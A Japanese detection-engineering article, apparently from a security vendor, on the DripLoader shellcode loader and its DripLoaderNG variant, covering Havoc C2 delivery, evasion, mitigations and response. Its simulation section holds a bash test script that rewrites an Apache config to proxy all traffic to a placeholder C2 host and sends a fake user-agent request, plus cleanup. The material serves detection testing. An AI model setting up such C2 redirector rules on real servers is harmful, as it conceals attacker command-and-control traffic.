DripLoaderマルウェア:シェルコード実行と防御回避
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事では、メモリを割り当て、シェルコードをそれに書き込み、ページの許可を実行可能に切り替えて実行するシェルコードローダーであるDripLoaderを調査します。HTTPSリダイレクターを介してHavoc C2フレームワークによって提供されるローダーの仕組みや、そのコードを圧縮と間接システムコールを用いて難読化する方法について解説します。また、.nodeサイドローディングと追加の回避手法に依存するDripLoaderNGというアップグレードバリアントも紹介し、現実的な検出ガイダンスとメモリアナリシスツールも提示します。
調査
調査では、HavocがカスタムApacheリダイレクターを通じて圧縮されたシェルコードを送信するラボセットアップについて説明します。ローダーは64KBの領域を予約し、4KBのページをコミットし、保護フラグを変更してペイロードを実行します。DripLoaderNGは間接システムコールと、Slack Electronアプリケーションを対象とした.nodeモジュールサイドローディングを導入しています。Moneta、PE-sieve、サポートされているKQLクエリなどのツールを使用した検出が示されています。
緩和策
緩和策には、疑わしいHTTPSリダイレクトの監視、偽のユーザーエージェント文字列の発見、希少な.nodeファイルのフラグ設定、EDR機能を活用して間接システムコールの動作を確認することが含まれます。さらに、AMSI改ざんを減らし、署名されていないネイティブモジュールの実行を制限するためにSliver/Donutの設定を調整することを推奨します。
対応
アクティビティが検出された場合、影響を受けたエンドポイントを分離し、問題のプロセスを停止し、メモリダンプを取得し、注入されたシェルコードを調査します。C2ドメインまたはIPをブロックし、公開された資格情報をリセットし、特定のユーザーエージェントと.nodeファイルのインジケーターに対する防御ルールを展開します。法医学分析を実施し、観察された間接システムコールパターンをカバーするために検出コンテンツを更新します。
攻撃フロー
シミュレーション実行
前提条件:テレメトリとベースラインの事前確認が合格していること。
根拠:このセクションでは、検出ルールをトリガーするように設計された敵対者の技術(TTP)の正確な実行を詳細に説明します。 コマンドと記述は、識別されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的とする必要があります。 抽象的または無関係な例は誤診につながります。
-
攻撃の説明とコマンド:
悪意のあるインフラストラクチャのオペレーターが、被害者のウェブサーバーをC2サーバーへの導管として設定します。彼らは、Apache 仮想ホスト構成に2つのRewriteRuleディレクティブを挿入します。1つはすべての受信トラフィックをhttps://C2.TeamServer.IP:443([P]フラグ)にプロキシし、もう1つは任意のリクエストを無害なGoogle URL([L,R=302])にリダイレクトします。Apacheをリロードした後、攻撃者はSigmaルールで定義された正確な偽のユーザーエージェント文字列を持つ不正なHTTPリクエストを発行します。Apacheはリクエストを処理し、ユーザーエージェントをログに記録し、リライトエンジンがプロキシアクションを記録することで、両方の検出条件を満たします。 -
回帰テストスクリプト:
#!/usr/bin/env bash # ------------------------------------------------- # DripLoader 検出検証スクリプト # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 1. 現在の設定をバックアップ sudo cp "$APACHE_CONF" "$BACKUP_CONF" # 2. 悪意のあるリライトルールを挿入 sudo bash -c "cat >> $APACHE_CONF <<'EOF' # BEGIN DripLoader Test Rules RewriteEngine On RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P] RewriteRule ^.*$ "https://www.google.com" [L,R=302] # END DripLoader Test Rules EOF" # 3. 変更を適用するためApacheをリロード sudo systemctl reload apache2 # 4. 正確に作成されたユーザーエージェントを持つ悪意のあるリクエストを発行 curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/ echo "悪意のあるリクエストが送信されました。SIEMで検出アラートを確認してください。" -
クリーンアップコマンド:
#!/usr/bin/env bash # ------------------------------------------------- # DripLoader 検出検証クリーンアップ # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 元の設定を復元 if [[ -f "$BACKUP_CONF" ]]; then sudo cp "$BACKUP_CONF" "$APACHE_CONF" sudo systemctl reload apache2 echo "元のApache設定を復元しました。" else echo "バックアップが見つかりません。手動でのクリーンアップが必要な場合があります。" fi